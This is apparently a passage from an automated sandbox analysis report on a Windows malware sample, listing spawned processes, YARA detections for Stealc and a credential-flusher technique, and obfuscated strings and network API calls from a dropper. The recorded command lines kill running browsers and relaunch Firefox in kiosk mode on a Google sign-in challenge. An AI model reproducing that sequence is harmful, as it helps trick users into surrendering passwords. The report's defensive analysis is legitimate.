Yara matches:	Rule: JoeSecurity_CredentialFlusher, Description: Yara detected Credential Flusher, Source: 0000001D.00000003.3235221216.0000000000DBF000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	02:38:44
Start date:	24/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0xb50000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	02:38:44
Start date:	24/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	02:38:52
Start date:	24/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1001137001\num.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1001137001\num.exe"
Imagebase:	0x40000
File size:	314'368 bytes
MD5 hash:	791FCEE57312D4A20CC86AE1CEA8DFC4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000020.00000002.3294064739.0000000001447000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000020.00000002.3286511778.0000000000041000.00000080.00000001.01000000.00000012.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000020.00000000.3150281953.0000000000041000.00000080.00000001.01000000.00000012.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	02:38:56
Start date:	24/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0xb50000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	02:38:56
Start date:	24/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	02:38:57
Start date:	24/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0xb50000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	02:38:57
Start date:	24/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	02:38:57
Start date:	24/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0xb50000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	02:38:57
Start date:	24/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	02:38:57
Start date:	24/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM brave.exe /T
Imagebase:	0xb50000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	02:38:57
Start date:	24/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	02:38:58
Start date:	24/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	02:38:58
Start date:	24/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	43
Start time:	02:38:59
Start date:	24/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2136 -parentBuildID 20230927232528 -prefsHandle 2072 -prefMapHandle 2064 -prefsLen 25350 -prefMapSize 238051 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {64e16daa-e3c5-4180-ad1c-d8059eba0827} 6768 "\\.\pipe\gecko-crash-server-pipe.6768" 1eeea770d10 socket
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	44
Start time:	02:39:01
Start date:	24/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe"
Imagebase:	0x7d0000
File size:	2'963'456 bytes
MD5 hash:	30FCEAD7FF4FC69F9DA4ECFA4837AD83
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	45
Start time:	02:39:09
Start date:	24/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe"
Imagebase:	0x810000
File size:	1'837'568 bytes
MD5 hash:	2CD42CDA18A7285D3B070C15699B975A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Function 04EE079A Relevance: 1.3, Strings: 1, Instructions: 90COMMON

Download Yara Rule

Strings

/u+, xrefs: 04EE083C

Memory Dump Source

Source File: 00000000.00000002.2178078208.0000000004EE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ee0000_g4Cyr2T5jq.jbxd

Similarity

API ID:
String ID: /u+
API String ID: 0-2213432091
Opcode ID: ebbf5061d0646b840c0ed6f62ff5134ebc450ad42074f0254547861a53f72021
Instruction ID: d6d1f4434805dce3b705aaa4864c4471af23646ab8ba942ff05bcc0289435ae8
Opcode Fuzzy Hash: ebbf5061d0646b840c0ed6f62ff5134ebc450ad42074f0254547861a53f72021
Instruction Fuzzy Hash: DB01D7EB24C120BDB00291837B58AF6672DE6D2B703319436F847D5506A2D85E5E7476

Function 04EE07F8 Relevance: 2.6, Strings: 2, Instructions: 69COMMON

Download Yara Rule

Strings

kZXZ, xrefs: 04EE0810
/u+, xrefs: 04EE083C

Memory Dump Source

Source File: 00000000.00000002.2178078208.0000000004EE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ee0000_g4Cyr2T5jq.jbxd

Similarity

API ID:
String ID: /u+$kZXZ
API String ID: 0-1849984390
Opcode ID: 5a866e9b340f9187f5608677a5afa664a67b909b0ff9baa33ad73e649c6cc2a7
Instruction ID: 4d310e6b34c35b7358a32b28e72d6ad5434a04990c7b79253c1afc06a4f7ae2e
Opcode Fuzzy Hash: 5a866e9b340f9187f5608677a5afa664a67b909b0ff9baa33ad73e649c6cc2a7
Instruction Fuzzy Hash: A5F081EB64C1607DB10282937B68AF76B6DD6D2B30336C977F842C5406E2888E4B21B5

Function 04EE07A0 Relevance: 1.3, Strings: 1, Instructions: 95COMMON

Download Yara Rule

Strings

/u+, xrefs: 04EE083C

Memory Dump Source

Source File: 00000000.00000002.2178078208.0000000004EE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ee0000_g4Cyr2T5jq.jbxd

Similarity

API ID:
String ID: /u+
API String ID: 0-2213432091
Opcode ID: 280827d75a556ac8804d77cd1ad8e1f38f013b1610f6303d08b5683ea09df60c
Instruction ID: c3918d4c44d7e8c05bb3ea4e044a3c1760e439c32a52371458ce976dfd0d4a6f
Opcode Fuzzy Hash: 280827d75a556ac8804d77cd1ad8e1f38f013b1610f6303d08b5683ea09df60c
Instruction Fuzzy Hash: B6011BEB24D120BDB00292937F54AF7572DD6D2B707319436F847E2546A2D81E4E6076

Function 04EE07B2 Relevance: 1.3, Strings: 1, Instructions: 89COMMON

Download Yara Rule

Strings

/u+, xrefs: 04EE083C

Memory Dump Source

Source File: 00000000.00000002.2178078208.0000000004EE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ee0000_g4Cyr2T5jq.jbxd

Similarity

API ID:
String ID: /u+
API String ID: 0-2213432091
Opcode ID: a6f7ab146277b860eee02a19b84f7423cbc5ae104562a2dedcb5b3e8376c1ef3
Instruction ID: b6b18f8e68265022fa201ac6bc79d377700804fac7f9bbdc14af749837a5d9a4
Opcode Fuzzy Hash: a6f7ab146277b860eee02a19b84f7423cbc5ae104562a2dedcb5b3e8376c1ef3
Instruction Fuzzy Hash: CE012DEB64C1647DB10292923B14AF7576DD6D6B30331D437F843E5406E2D84E4E6076

Function 04EE07C8 Relevance: 1.3, Strings: 1, Instructions: 88COMMON

Download Yara Rule

Strings

/u+, xrefs: 04EE083C

Memory Dump Source

Source File: 00000000.00000002.2178078208.0000000004EE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ee0000_g4Cyr2T5jq.jbxd

Similarity

API ID:
String ID: /u+
API String ID: 0-2213432091
Opcode ID: d7274001dbe7456ac44b534bd7eff781ad5abc61b3b5862e041b72eaf9259353
Instruction ID: 552bfedc93a9f6700102bf965a5b560c445c411d6af867eca57e87aa1dc3e99f
Opcode Fuzzy Hash: d7274001dbe7456ac44b534bd7eff781ad5abc61b3b5862e041b72eaf9259353
Instruction Fuzzy Hash: A701E9FB649120BDB10282827F14AFB672DE6D2B30331D83AF842D6406E6D84E5E6076

Analysis Process: skotes.exePID: 4268, Parent PID: 1068COMMON

Execution Graph

Execution Coverage:	9.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	5.7%
Total number of Nodes:	105
Total number of Limit Nodes:	17

Executed Functions

Function 00E8E530 Relevance: 35.9, APIs: 1, Strings: 18, Instructions: 2667COMMON

Download Yara Rule

APIs

Part of subcall function 00E97A00: __Cnd_unregister_at_thread_exit.LIBCPMT ref: 00E97AEC
Part of subcall function 00E97A00: __Cnd_destroy_in_situ.LIBCPMT ref: 00E97AF8
Part of subcall function 00E97A00: __Mtx_destroy_in_situ.LIBCPMT ref: 00E97B01

std::_Xinvalid_argument.LIBCPMT ref: 00E908B5

Strings

", xrefs: 00E8FDC2
UA==, xrefs: 00E8EB0F, 00E8EC41, 00E8ED56, 00E8EF89, 00E8F2CE
MQ==, xrefs: 00E8E592
WDw=, xrefs: 00E8F71D, 00E8F9FA, 00E8FDE3
invalid stoi argument, xrefs: 00E908B0
MGE+, xrefs: 00E8E821
9c9aa5, xrefs: 00E8FB8E
WTs=, xrefs: 00E905CA
FCQgKF==, xrefs: 00E8FEE4
L1, xrefs: 00E8F7E5
111, xrefs: 00E8F7A0
GnNoc2Hc, xrefs: 00E8E56C
FisgLnsCZO1i, xrefs: 00E8FF19
246122658369, xrefs: 00E8F737, 00E8FA14, 00E8FE00, 00E905E7
mxo1L0x, xrefs: 00E8EE84
stoi argument out of range, xrefs: 00E908C4
#, xrefs: 00E90624
GiQaT29tduF=, xrefs: 00E8FEB6

Memory Dump Source

Source File: 00000006.00000002.3325796292.0000000000E81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000006.00000002.3325634928.0000000000E80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3325796292.0000000000EE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326383122.0000000000EE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.0000000000EEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.0000000001083000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.0000000001166000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.0000000001196000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.00000000011A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.00000000011AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3330245017.00000000011AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3333670145.000000000135A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3334086187.000000000135C000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_e80000_skotes.jbxd

Yara matches

Similarity

API ID: Cnd_destroy_in_situCnd_unregister_at_thread_exitMtx_destroy_in_situXinvalid_argumentstd::_
String ID: mxo1L0x$"$#$111$246122658369$9c9aa5$FCQgKF==$FisgLnsCZO1i$GiQaT29tduF=$GnNoc2Hc$L1$MGE+$MQ==$UA==$WDw=$WTs=$invalid stoi argument$stoi argument out of range
API String ID: 4234742559-3200787904
Opcode ID: b227cd19cecda1de20fff5fa4120ed710b3445a2fb293a8c4960dfa1edadfe2e
Instruction ID: bccee655d1e787dc20b7857da873492733e7a0025e233adb6159bad2146dbc64
Opcode Fuzzy Hash: b227cd19cecda1de20fff5fa4120ed710b3445a2fb293a8c4960dfa1edadfe2e
Instruction Fuzzy Hash: D0233C71A101489BEF18EB38CD8979DBB72EF81304F54929CE44DB73D6DB358A848B91

Function 00E8BE30 Relevance: 21.3, APIs: 6, Strings: 6, Instructions: 313
networksleepfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(000005DC), ref: 00E8BEB8
InternetOpenW.WININET(00ED8DC8,00000000,00000000,00000000,00000000), ref: 00E8BEC8
InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 00E8BEEB
HttpOpenRequestA.WININET(?,00000000), ref: 00E8BF36
HttpSendRequestA.WININET(?,00000000), ref: 00E8BFF6
InternetReadFile.WININET(?,?,000003FF,?), ref: 00E8C0A8
InternetCloseHandle.WININET(?), ref: 00E8C187
InternetCloseHandle.WININET(?), ref: 00E8C18F
InternetCloseHandle.WININET(?), ref: 00E8C197

Strings

8HJUeIfzLo==, xrefs: 00E8C3CB, 00E8C623
RE1NXF==, xrefs: 00E8BF0E
8HJUeMD Lq5=, xrefs: 00E8C465
invalid stoi argument, xrefs: 00E8E4F4
stoi argument out of range, xrefs: 00E8E4EA
RmNn, xrefs: 00E8D606

Memory Dump Source

Source File: 00000006.00000002.3325796292.0000000000E81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000006.00000002.3325634928.0000000000E80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3325796292.0000000000EE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326383122.0000000000EE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.0000000000EEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.0000000001083000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.0000000001166000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.0000000001196000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.00000000011A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.00000000011AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3330245017.00000000011AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3333670145.000000000135A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3334086187.000000000135C000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_e80000_skotes.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandle$HttpOpenRequest$ConnectFileReadSendSleep
String ID: 8HJUeIfzLo==$8HJUeMD Lq5=$RE1NXF==$RmNn$invalid stoi argument$stoi argument out of range
API String ID: 2167506142-2254971868
Opcode ID: acd1bf1267b6b416d3c81f82dc4481e19eeb729fbe5a14c6153c9470751182bb
Instruction ID: 92e3732be58da50e668fd28bfecb3b049aad4d92baf8a81a6efe54910fbe1fcc
Opcode Fuzzy Hash: acd1bf1267b6b416d3c81f82dc4481e19eeb729fbe5a14c6153c9470751182bb
Instruction Fuzzy Hash: 8AB1D4B16002189BDB24DF28CC85BAEBBB5EF46304F505199F50CA72D2DB719AC4CFA4

Function 00E9D3E2 Relevance: .2, Instructions: 172
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___std_exception_copy.LIBVCRUNTIME ref: 00E824BE

Memory Dump Source

Source File: 00000006.00000002.3325796292.0000000000E81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000006.00000002.3325634928.0000000000E80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3325796292.0000000000EE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326383122.0000000000EE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.0000000000EEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.0000000001083000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.0000000001166000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.0000000001196000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.00000000011A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.00000000011AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3330245017.00000000011AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3333670145.000000000135A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3334086187.000000000135C000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_e80000_skotes.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy
String ID:
API String ID: 2659868963-0
Opcode ID: e02190d48f35421920b7be16f84592a4a47a2f12dfe55d7bc48228a1485280ba
Instruction ID: 92653681edb90907c075e4cb9cf7a608e7df1ab9ecd6f420a2f393105050249c
Opcode Fuzzy Hash: e02190d48f35421920b7be16f84592a4a47a2f12dfe55d7bc48228a1485280ba
Instruction Fuzzy Hash: 2C519B72E0461A8FDB15CF59DCC56AEB7E4FB48318F24852AE409FB290E370A944CB90

Function 00E94390 Relevance: 42.8, APIs: 1, Strings: 22, Instructions: 2584sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00E97A00: __Cnd_unregister_at_thread_exit.LIBCPMT ref: 00E97AEC
Part of subcall function 00E97A00: __Cnd_destroy_in_situ.LIBCPMT ref: 00E97AF8
Part of subcall function 00E97A00: __Mtx_destroy_in_situ.LIBCPMT ref: 00E97B01

Part of subcall function 00E8BE30: Sleep.KERNEL32(000005DC), ref: 00E8BEB8
Part of subcall function 00E8BE30: InternetOpenW.WININET(00ED8DC8,00000000,00000000,00000000,00000000), ref: 00E8BEC8
Part of subcall function 00E8BE30: InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 00E8BEEB
Part of subcall function 00E8BE30: HttpOpenRequestA.WININET(?,00000000), ref: 00E8BF36

std::_Xinvalid_argument.LIBCPMT ref: 00E94F92
Sleep.KERNEL32 ref: 00E96CF5

Strings

9HQ0, xrefs: 00E954E1
2I0, xrefs: 00E95627
Fw==, xrefs: 00E94E1D
anE0, xrefs: 00E9566B
VXA0, xrefs: 00E955AE
invalid stoi argument, xrefs: 00E94F8D
Vmc0, xrefs: 00E955D7
MGE+, xrefs: 00E94866, 00E948DD, 00E94B85, 00E94BFC
9250, xrefs: 00E954AD
KCWUOl==, xrefs: 00E95649
MGI+, xrefs: 00E948AD, 00E949DC, 00E94BCC, 00E94CFB
9c9aa5, xrefs: 00E95619
93E0, xrefs: 00E95600
8WI0, xrefs: 00E95692
jS=, xrefs: 00E96513
3I3eB==, xrefs: 00E94802
246122658369, xrefs: 00E9502A, 00E9503D, 00E9507F, 00E95089, 00E95684
GE0, xrefs: 00E95585
VXQ0, xrefs: 00E9550A
stoi argument out of range, xrefs: 00E94F9C
aWW0, xrefs: 00E9555C
WGS0, xrefs: 00E95533

Memory Dump Source

Source File: 00000006.00000002.3325796292.0000000000E81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000006.00000002.3325634928.0000000000E80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3325796292.0000000000EE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326383122.0000000000EE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.0000000000EEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.0000000001083000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.0000000001166000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.0000000001196000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.00000000011A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.00000000011AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3330245017.00000000011AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3333670145.000000000135A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3334086187.000000000135C000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_e80000_skotes.jbxd

Yara matches

Similarity

API ID: InternetOpenSleep$Cnd_destroy_in_situCnd_unregister_at_thread_exitConnectHttpMtx_destroy_in_situRequestXinvalid_argumentstd::_
String ID: 2I0$ 3I3eB==$ GE0$ jS=$246122658369$8WI0$9250$93E0$9HQ0$9c9aa5$Fw==$KCWUOl==$MGE+$MGI+$VXA0$VXQ0$Vmc0$WGS0$aWW0$anE0$invalid stoi argument$stoi argument out of range
API String ID: 3927735766-4005516279
Opcode ID: 34d7a3928c93feb165bf19df600ed62cd7077f84c2662ec5e0df786e4dcfb964
Instruction ID: 968242332eea5c36f67d47bd242ebd58f52976ee2002db9bd007b0422814d92b
Opcode Fuzzy Hash: 34d7a3928c93feb165bf19df600ed62cd7077f84c2662ec5e0df786e4dcfb964
Instruction Fuzzy Hash: CB2336B1A002588BEF19DB28CD89B9DBBB6DF81304F54919CE049B72D2DB359F848F51

Function 00E92F10 Relevance: 36.3, APIs: 5, Strings: 15, Instructions: 1325COMMON

Download Yara Rule

APIs

Part of subcall function 00E97A00: __Cnd_unregister_at_thread_exit.LIBCPMT ref: 00E97AEC
Part of subcall function 00E97A00: __Cnd_destroy_in_situ.LIBCPMT ref: 00E97AF8
Part of subcall function 00E97A00: __Mtx_destroy_in_situ.LIBCPMT ref: 00E97B01

std::_Xinvalid_argument.LIBCPMT ref: 00E9434F

Strings

Fw==, xrefs: 00E9378E
8HJUeIfzLo==, xrefs: 00E92FB7, 00E93226
WTw=, xrefs: 00E92F5E
5120, xrefs: 00E93BAF, 00E93C9A
8HJUeMD Lq5=, xrefs: 00E93054
WGpm, xrefs: 00E93CC9
WDw=, xrefs: 00E934AA
invalid stoi argument, xrefs: 00E9434A
WX f, xrefs: 00E93BDE
Hykl, xrefs: 00E9387F
WTs=, xrefs: 00E93449
V2Te, xrefs: 00E93EB0
246122658369, xrefs: 00E92F78, 00E93463, 00E934C4
stoi argument out of range, xrefs: 00E94359
", xrefs: 00E93F89

Memory Dump Source

Source File: 00000006.00000002.3325796292.0000000000E81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000006.00000002.3325634928.0000000000E80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3325796292.0000000000EE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326383122.0000000000EE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.0000000000EEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.0000000001083000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.0000000001166000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.0000000001196000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.00000000011A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3326794267.00000000011AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3330245017.00000000011AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3333670145.000000000135A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3334086187.000000000135C000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_e80000_skotes.jbxd

Yara matches

Similarity

API ID: Cnd_destroy_in_situCnd_unregister_at_thread_exitMtx_destroy_in_situXinvalid_argumentstd::_
String ID: "$246122658369$5120$8HJUeIfzLo==$8HJUeMD Lq5=$Fw==$Hykl$V2Te$WDw=$WGpm$WTs=$WTw=$WX f$invalid stoi argument$stoi argument out of range
API String ID: 4234742559-3001895933
Opcode ID: e9e48bfa7387649d492392dccaaac494937c5751dad0e6c36da3679d704f3ea9
Instruction ID: 317221ffa44cd34bde25cf5c1e26cea873c2e684ed39deafc3b05797997680d2
Opcode Fuzzy Hash: e9e48bfa7387649d492392dccaaac494937c5751dad0e6c36da3679d704f3ea9
Instruction Fuzzy Hash: C3B22371A002489BDF18EFB8CD86B9EBBB5EF46304F50514CE445B72C2DB759B848B92

Function 00E947B0 Relevance: 35.5, APIs: 1, Strings: 21, Instructions: 2516COMMON

Download Yara Rule

APIs

